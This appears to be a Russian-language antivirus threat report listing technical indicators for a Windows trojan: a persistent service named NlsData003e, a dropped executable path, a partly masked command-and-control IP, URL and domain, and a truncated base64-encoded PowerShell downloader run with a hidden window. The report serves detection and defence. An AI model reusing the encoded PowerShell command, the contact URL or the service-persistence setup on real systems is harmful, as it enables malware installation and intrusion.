Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsData003e] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsData003e] 'ImagePath' = '"%WINDIR%\SysWOW64\atmfd\NlsData003e.exe"'
- 'NlsData003e' "%WINDIR%\SysWOW64\atmfd\NlsData003e.exe"
- 'NlsData003e' %WINDIR%\SysWOW64\atmfd\NlsData003e.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD...
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %HOMEPATH%\432.exe
- %WINDIR%\syswow64\atmfd\nlsdata003e.exe
- %HOMEPATH%\432.exe в %WINDIR%\syswow64\atmfd\nlsdata003e.exe
- '18#.#4.128.197':80
- http://18#.#4.128.197/4S2Ilmne/liQdadgB7/IlaTdQtiaU4M2MDJJ/
- DNS ASK mo##auer.de
- '%HOMEPATH%\432.exe'
- '%WINDIR%\syswow64\atmfd\nlsdata003e.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD...' (со скрытым окном)